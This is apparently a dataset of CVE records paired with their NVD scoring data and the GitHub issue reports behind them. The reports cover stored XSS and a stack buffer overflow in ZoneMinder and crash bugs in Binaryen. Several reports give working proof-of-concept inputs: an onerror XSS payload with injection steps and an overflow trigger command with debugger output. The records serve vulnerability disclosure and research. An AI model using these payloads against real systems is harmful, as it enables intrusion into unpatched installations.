0x4a2174 in AP4_TrakAtom::AP4_TrakAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4TrakAtom.cpp:165 #18 0x524ab5 in AP4_TrakAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4TrakAtom.h:58 #19 0x52231f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:379 #20 0x520e72 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:221 #21 0x4891c3 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:194 #22 0x488c78 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:139 #23 0x530ca3 in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4MoovAtom.cpp:80 #24 0x524a59 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4MoovAtom.h:56 #25 0x522198 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:359 #26 0x520e72 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:221 #27 0x5207c7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:151 #28 0x48f2c5 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4File.cpp:104 #29 0x48ef34 in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4File.cpp:78 #30 0x45eebd in main /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1846 #31 0x7ff018dfa82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #32 0x4549e8 in _start (/home/jas/Downloads/Bento4-SRC-1-5-1-628/cmakebuild/mp42hls+0x4549e8) ``` FoundBy: [email protected]	failed to allocate LargeMmapAllocator in Ap4Array.h at Bento4 v1.5.1-628 when running mp42hls	https://api.github.com/repos/axiomatic-systems/Bento4/issues/361/comments	1	2019-01-25T07:49:22Z	2019-12-26T14:50:59Z	https://github.com/axiomatic-systems/Bento4/issues/361	403,042,062	361
CVE-2019-6990	2019-01-28T20:29:00.310	A stored-self XSS exists in web/skins/classic/views/zones.php of ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code in a vulnerable field via a crafted Zone NAME to the index.php?view=zones&action=zoneImage&mid=1 URI.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/commit/a3e8fd4fd5b579865f35aac3b964bc78d5b7a94a" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2444" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2444	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug In the view `zone`, an user can add/view/delete zones. While adding a zone, there exists no input filtration, allowing an attacker to inject unintended values. Later while displaying the zone names on the webpage,there exists no output filtration, leading to Self - Stored based XSS. To Reproduce Affected URL : http://localhost/zm/index.php?view=zones&action=zoneImage&mid=1 Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL - Click on `Add a new zone` (pop-up appears) - Add the XSS payload into the `NAME` field & select any of option from the `Type` dropdown field & click on save. - Navigate back to the Affected URL, payload would be triggered. <img width="638" alt="zones" src="https://user-images.githubusercontent.com/47003572/51701075-a3cdb100-2036-11e9-8bc6-796486fed4a6.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Stored Self-Cross Site Scripting (XSS) - zones.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2444/comments	0	2019-01-24T18:48:25Z	2019-01-25T13:15:12Z	https://github.com/ZoneMinder/zoneminder/issues/2444	402,845,981	2,444
CVE-2019-6991	2019-01-28T20:29:00.373	A classic Stack-based buffer overflow exists in the zmLoadUser() function in zm_user.cpp of the zmu binary in ZoneMinder through 1.32.3, allowing an unauthenticated attacker to execute code via a long username.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Issue Tracking", "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2478" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/pull/2482" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2478	[ "Issue Tracking", "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug A Stack overflows occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking. Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. To Reproduce _Affected Binary_ - zmu An attacker can exploit the buffer by smashing the stack and modifying the return address of the function. This can be used to call some other function, like pointing the return address to some custom shellcode, injected into the stack. _In function_: `zmLoadUser()` _Vulnerable function_: `mysql_real_escape_string()` _Detail_: The vulnerability exists in function `zmLoadUser()`, in `zm_user.cpp`, while authenticating the user. The vulnerability exists in the login functionality. Once a username & password is supplied to the zmu binary, the username & password is passed through `mysql_real_escape_string()` function in order to produce an escaped SQL string. Due to absense of any protection and limitation placed to the length of username & password, there exists a stack based buffer overflow. _Vulnerable code -_ ``` char safer_username[65]; mysql_real_escape_string(&dbconn, safer_username, username, strlen( username ) ); ``` ``` char safer_password[129]; mysql_real_escape_string(&dbconn, safer_password, password, strlen( password ) ); ``` <img width="742" alt="stack" src="https://user-images.githubusercontent.com/47003572/51722837-c84c7c00-207c-11e9-9cff-76a3a1a102e4.png"> <img width="673" alt="stack 2" src="https://user-images.githubusercontent.com/47003572/51722836-c7b3e580-207c-11e9-9216-2bd43f5e1568.png"> _Setup_ - We need to compile the binary from source, using custom flags, inorder to trigger & debug the vulnerability. _Steps to compile_ - - mkdir build (In zoneminder directory) - cd build - cmake .. -DCMAKE_C_FLAGS="-fsanitize=address -g -O0 -fno-stack-protector" -DCMAKE_CXX_FLAGS="-fsanitize=address -g -O0 -fno-stack-protector" - cd src/ _Command to run_ - ./zmu -U $(python -c "print 'a'645") -P admin _Root Cause Analysis_ - Vulnerable function syntax - unsigned long mysql_real_escape_string(MYSQL mysql, char to, const char from, unsigned long length) Characters in the `from` argument are escaped & the result is placed in the `to` argument, of the length specified, followed by a terminating null byte . As per the Mysql documentation, "The string pointed to by `from` must be length bytes long. You must allocate the `to` buffer to be at least length2+1 bytes long. (In the worst case, each character may need to be encoded as using two bytes, and there must be room for the terminating null byte.) When mysql_real_escape_string() returns, the contents of to is a null-terminated string." But as per the current code, the length is calculated form the lenth of the `username` & `password`(from) argument & can exceed more than the `safer_username` & `safer_password` (to) limit, which is an fixed array (safer_username[65] & safer_password[129]), causing stack based buffer overflow. By looking at the comments written in `zmLoadUser()` function (zm_user.cpp), the `to` argumunt array is calculated based upon the current db username size, which is of 32. Following what's said in the documentation (length2+1 bytes long), 232+1 = 65 is the limit set for the `to` argument - safer_username (same for safer_password). Ignoring the fact that there's no limit set for the username, password input received to the binary. ``` 93 94 // According to docs, size of safer_whatever must be 2length+1 due to unicode conversions + null terminator. → 95 mysql_real_escape_string(&dbconn, safer_username, username, strlen( username ) ); 96 97 if ( password ) { ``` ``` gef➤ p username $9 = 0xbffff5ee 'a' gef➤ p safer_username $17 = 'a' gef➤ p/d strlen( username ) $19 = 645 ``` Initially the username & password pointer address remains valid, until it reaches safer_username, populating other pointer addresses with the injected payload. ``` 95 mysql_real_escape_string(&dbconn, safer_username, username, strlen( username ) ); 96 // password=0xbffef344 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]" → 97 if ( password ) { 98 char safer_password[129]; // current db password size is 64 ``` ``` ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x80d2a17 → zmLoadUser(username=0x61616161 <error: Cannot access memory at address 0x61616161>, password=0x61616161 <error: Cannot access memory at address 0x61616161>) ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ x/150wx safer_username 0xbffef15b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef16b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef17b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef18b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef19b: 0x61616161 0x61616161 0x61616161 0x61616161 . . . . . . 0xbffef32b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef33b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef34b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef35b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef36b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef37b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef38b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef39b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef3ab: 0x61616161 0x61616161 gef➤ x 0xbffef34b - 0x17 //Offset to Address of password 0xbffef334: 0x61616161 ``` Here we can see, how the pointer address values are populated with the injected values (a's) . Later the code, when the pointer addresses are accessed, segmentation fault is raised due to an invalid memory access. Expected behavior - An attacker can Bypass authentication by overwriting the function pointer. It should limit the username limit. Debug Logs ``` None ```	Stack based buffer Overflow - /src/zm_user.cpp (zmu)	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2478/comments	1	2019-01-25T03:16:25Z	2019-01-25T13:48:05Z	https://github.com/ZoneMinder/zoneminder/issues/2478	402,988,560	2,478
CVE-2019-6992	2019-01-28T20:29:00.437	A stored-self XSS exists in web/skins/classic/views/controlcaps.php of ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code in a vulnerable field via a long NAME or PROTOCOL to the index.php?view=controlcaps URI.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/commit/8c5687ca308e441742725e0aff9075779fa1a498" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2445" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2445	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `controlcaps`, displays the `Protocol` field record with no proper filtration, leading to Self - Stored XSS. To Reproduce Affected URL : http://localhost/zm/index.php?view=controlcaps Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the - http://localhost/zm/index.php?view=controlcap - Populate the `NAME` & `PROTOCOL` fields with the XSS payload & save. - Navigate to the Affected URL, payload would be triggered. <img width="513" alt="control 1" src="https://user-images.githubusercontent.com/47003572/51702202-33745f00-2039-11e9-8a2b-646f4b333b4c.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Stored Self-Cross Site Scripting (XSS) - controlcaps.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2445/comments	0	2019-01-24T18:53:08Z	2019-01-25T13:35:10Z	https://github.com/ZoneMinder/zoneminder/issues/2445	402,847,762	2,445
CVE-2019-7151	2019-01-29T00:29:00.517	A NULL pointer dereference was discovered in wasm::Module::getFunctionOrNull in wasm/wasm.cpp in Binaryen 1.38.22. A crafted input can cause segmentation faults, leading to denial-of-service, as demonstrated by wasm-opt.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1881" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:webassembly:binaryen::::::::", "matchCriteriaId": "DCFD315B-77AA-49CB-B137-824C51EFD078", "versionEndExcluding": "65", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/WebAssembly/binaryen/issues/1881	[ "Exploit", "Third Party Advisory" ]	github.com	[ "WebAssembly", "binaryen" ]	Hi, there. A Null pointer Deference problem was discovered in wasm::Module::getFunctionOrNull(wasm::Name). A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "wasm-opt $POC" to reproduce the problem. [POC.zip](https://github.com/WebAssembly/binaryen/files/2776554/POC.zip) git log: ``` commit 0e5e55053c171b138a0cf5aa8a08de8c7714048f Author: Alon Zakai <[email protected]> Date: Sat Jan 19 05:30:43 2019 -0800 Show a proper error on an invalid type in binary reading ; fixes #1872 (#1874) ``` The ASAN dumps the stack trace as follows: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==9622==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005b1a51 bp 0x7ffe832e8c10 sp 0x7ffe832e8380 T0) ==9622==The signal is caused by a READ memory access. ==9622==Hint: address points to the zero page. #0 0x5b1a50 in __interceptor_strcmp.part.253 /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:414 #1 0x9112ce in cashew::IString::operator<(cashew::IString const&) const /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/istring.h:123:12 #2 0x9112ce in std::less<wasm::Name>::operator()(wasm::Name const&, wasm::Name const&) const /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_function.h:386 #3 0x9112ce in std::_Rb_tree<wasm::Name, std::pair<wasm::Name const, wasm::Function>, std::_Select1st<std::pair<wasm::Name const, wasm::Function> >, std::less<wasm::Name>, std::allocator<std::pair<wasm::Name const, wasm::Function> > >::_M_lower_bound(std::_Rb_tree_node<std::pair<wasm::Name const, wasm::Function> >, std::_Rb_tree_node_base, wasm::Name const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_tree.h:1872 #4 0x9112ce in std::_Rb_tree<wasm::Name, std::pair<wasm::Name const, wasm::Function>, std::_Select1st<std::pair<wasm::Name const, wasm::Function> >, std::less<wasm::Name>, std::allocator<std::pair<wasm::Name const, wasm::Function> > >::find(wasm::Name const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_tree.h:2523 #5 0x9112ce in std::map<wasm::Name, wasm::Function, std::less<wasm::Name>, std::allocator<std::pair<wasm::Name const, wasm::Function*> > >::find(wasm::Name const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_map.h:1164 #6 0x9112ce in wasm::Module::getFunctionOrNull(wasm::Name) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm.cpp:797 #7 0xb8dc27 in wasm::validateExports(wasm::Module&, wasm::ValidationInfo&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-validator.cpp:1209:32 #8 0xb8dc27 in wasm::WasmValidator::validate(wasm::Module&, wasm::FeatureSet, unsigned int) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-validator.cpp:1298 #9 0x627aba in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-opt.cpp:158:28 #10 0x7f6ec277982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #11 0x51c5b8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-opt+0x51c5b8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:414 in __interceptor_strcmp.part.253 ==9622==ABORTING ```	Null pointer Deference in wasm::Module::getFunctionOrNull(wasm::Name)	https://api.github.com/repos/WebAssembly/binaryen/issues/1881/comments	1	2019-01-20T12:11:54Z	2019-01-20T18:08:15Z	https://github.com/WebAssembly/binaryen/issues/1881	401,091,528	1,881
CVE-2019-7152	2019-01-29T00:29:00.563	A heap-based buffer over-read was discovered in wasm::WasmBinaryBuilder::processFunctions() in wasm/wasm-binary.cpp (when calling wasm::WasmBinaryBuilder::getFunctionIndexName) in Binaryen 1.38.22. A crafted input can cause segmentation faults, leading to denial-of-service, as demonstrated by wasm-opt.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1880" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:webassembly:binaryen::::::::", "matchCriteriaId": "DCFD315B-77AA-49CB-B137-824C51EFD078", "versionEndExcluding": "65", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/WebAssembly/binaryen/issues/1880	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "WebAssembly", "binaryen" ]	Hi, there. A Heap-buffer-overflow problem was discovered in WasmBinaryBuilder::getFunctionIndexName(unsigned int). A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./wasm-opt $POC" to reproduce the error. [POC.zip](https://github.com/WebAssembly/binaryen/files/2776549/POC.zip) git log: ``` commit 0e5e55053c171b138a0cf5aa8a08de8c7714048f Author: Alon Zakai <[email protected]> Date: Sat Jan 19 05:30:43 2019 -0800 Show a proper error on an invalid type in binary reading ; fixes #1872 (#1874) ``` The ASAN dumps the stack trace as follows: ``` ================================================================= ==26011==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000032a0 at pc 0x0000009ae654 bp 0x7ffd831fce90 sp 0x7ffd831fce88 READ of size 8 at 0x6060000032a0 thread T0 #0 0x9ae653 in wasm::WasmBinaryBuilder::getFunctionIndexName(unsigned int) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/unique_ptr.h:147:42 #1 0x9ae653 in wasm::WasmBinaryBuilder::processFunctions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1508 #2 0x980f41 in wasm::WasmBinaryBuilder::read() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:706:3 #3 0xa81ed9 in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:52:10 #4 0xa84b1c in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:71:5 #5 0x627919 in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-opt.cpp:144:14 #6 0x7ff28f63182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #7 0x51c5b8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-opt+0x51c5b8) Address 0x6060000032a0 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/unique_ptr.h:147:42 in wasm::WasmBinaryBuilder::getFunctionIndexName(unsigned int) Shadow bytes around the buggy address: 0x0c0c7fff8600: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c0c7fff8610: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x0c0c7fff8620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c0c7fff8650: fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff86a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==26011==ABORTING ```	A Heap-buffer-overflow problem was discovered in WasmBinaryBuilder::getFunctionIndexName(unsigned int)	https://api.github.com/repos/WebAssembly/binaryen/issues/1880/comments	1	2019-01-20T12:07:15Z	2019-01-20T18:05:01Z	https://github.com/WebAssembly/binaryen/issues/1880	401,091,205	1,880
